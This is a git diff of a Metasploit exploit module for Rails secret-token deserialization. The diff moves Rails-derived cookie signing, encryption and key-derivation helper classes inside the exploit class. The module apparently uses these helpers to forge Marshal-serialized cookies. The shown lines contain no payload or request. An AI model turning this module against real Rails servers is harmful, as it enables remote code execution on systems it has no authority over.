diff --git a/modules/exploits/multi/http/rails_secret_deserialization.rb b/modules/exploits/multi/http/rails_secret_deserialization.rb index 89a7dd290b..ed4e30a62c 100644 --- a/modules/exploits/multi/http/rails_secret_deserialization.rb +++ b/modules/exploits/multi/http/rails_secret_deserialization.rb @@ -7,95 +7,95 @@ require 'msf/core' -#Helper Classes copy/paste from Rails4 -class MessageVerifier - - class InvalidSignature < StandardError; end - - def initialize(secret, options = {}) - @secret = secret - @digest = options[:digest] || 'SHA1' - @serializer = options[:serializer] || Marshal - end - - def generate(value) - data = ::Base64.strict_encode64(@serializer.dump(value)) - "#{data}--#{generate_digest(data)}" - end - - def generate_digest(data) - require 'openssl' unless defined?(OpenSSL) - OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data) - end - -end - -class MessageEncryptor - - module NullSerializer #:nodoc: - - def self.load(value) - value - end - - def self.dump(value) - value - end - - end - - class InvalidMessage < StandardError; end - - OpenSSLCipherError = OpenSSL::Cipher::CipherError - - def initialize(secret, *signature_key_or_options) - options = signature_key_or_options.extract_options! - sign_secret = signature_key_or_options.first - @secret = secret - @sign_secret = sign_secret - @cipher = options[:cipher] || 'aes-256-cbc' - @verifier = MessageVerifier.new(@sign_secret || @secret, :serializer => NullSerializer) - # @serializer = options[:serializer] || Marshal - end - - def encrypt_and_sign(value) - @verifier.generate(_encrypt(value)) - end - - def _encrypt(value) - cipher = new_cipher - cipher.encrypt - cipher.key = @secret - # Rely on OpenSSL for the initialization vector - iv = cipher.random_iv - #encrypted_data = cipher.update(@serializer.dump(value)) - encrypted_data = cipher.update(value) - encrypted_data << cipher.final - [encrypted_data, iv].map {|v| ::Base64.strict_encode64(v)}.join("--") - end - - def new_cipher - OpenSSL::Cipher::Cipher.new(@cipher) - end - -end - -class KeyGenerator - - def initialize(secret, options = {}) - @secret = secret - @iterations = options[:iterations] || 2**16 - end - - def generate_key(salt, key_size=64) - OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size) - end - -end - class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking + #Helper Classes copy/paste from Rails4 + class MessageVerifier + + class InvalidSignature < StandardError; end + + def initialize(secret, options = {}) + @secret = secret + @digest = options[:digest] || 'SHA1' + @serializer = options[:serializer] || Marshal + end + + def generate(value) + data = ::Base64.strict_encode64(@serializer.dump(value)) + "#{data}--#{generate_digest(data)}" + end + + def generate_digest(data) + require 'openssl' unless defined?(OpenSSL) + OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data) + end + + end + + class MessageEncryptor + + module NullSerializer #:nodoc: + + def self.load(value) + value + end + + def self.dump(value) + value + end + + end + + class InvalidMessage < StandardError; end + + OpenSSLCipherError = OpenSSL::Cipher::CipherError + + def initialize(secret, *signature_key_or_options) + options = signature_key_or_options.extract_options! + sign_secret = signature_key_or_options.first + @secret = secret + @sign_secret = sign_secret + @cipher = options[:cipher] || 'aes-256-cbc' + @verifier = MessageVerifier.new(@sign_secret || @secret, :serializer => NullSerializer) + # @serializer = options[:serializer] || Marshal + end + + def encrypt_and_sign(value) + @verifier.generate(_encrypt(value)) + end + + def _encrypt(value) + cipher = new_cipher + cipher.encrypt + cipher.key = @secret + # Rely on OpenSSL for the initialization vector + iv = cipher.random_iv + #encrypted_data = cipher.update(@serializer.dump(value)) + encrypted_data = cipher.update(value) + encrypted_data << cipher.final + [encrypted_data, iv].map {|v| ::Base64.strict_encode64(v)}.join("--") + end + + def new_cipher + OpenSSL::Cipher::Cipher.new(@cipher) + end + + end + + class KeyGenerator + + def initialize(secret, options = {}) + @secret = secret + @iterations = options[:iterations] || 2**16 + end + + def generate_key(salt, key_size=64) + OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size) + end + + end + include Msf::Exploit::CmdStagerTFTP include Msf::Exploit::Remote::HttpClient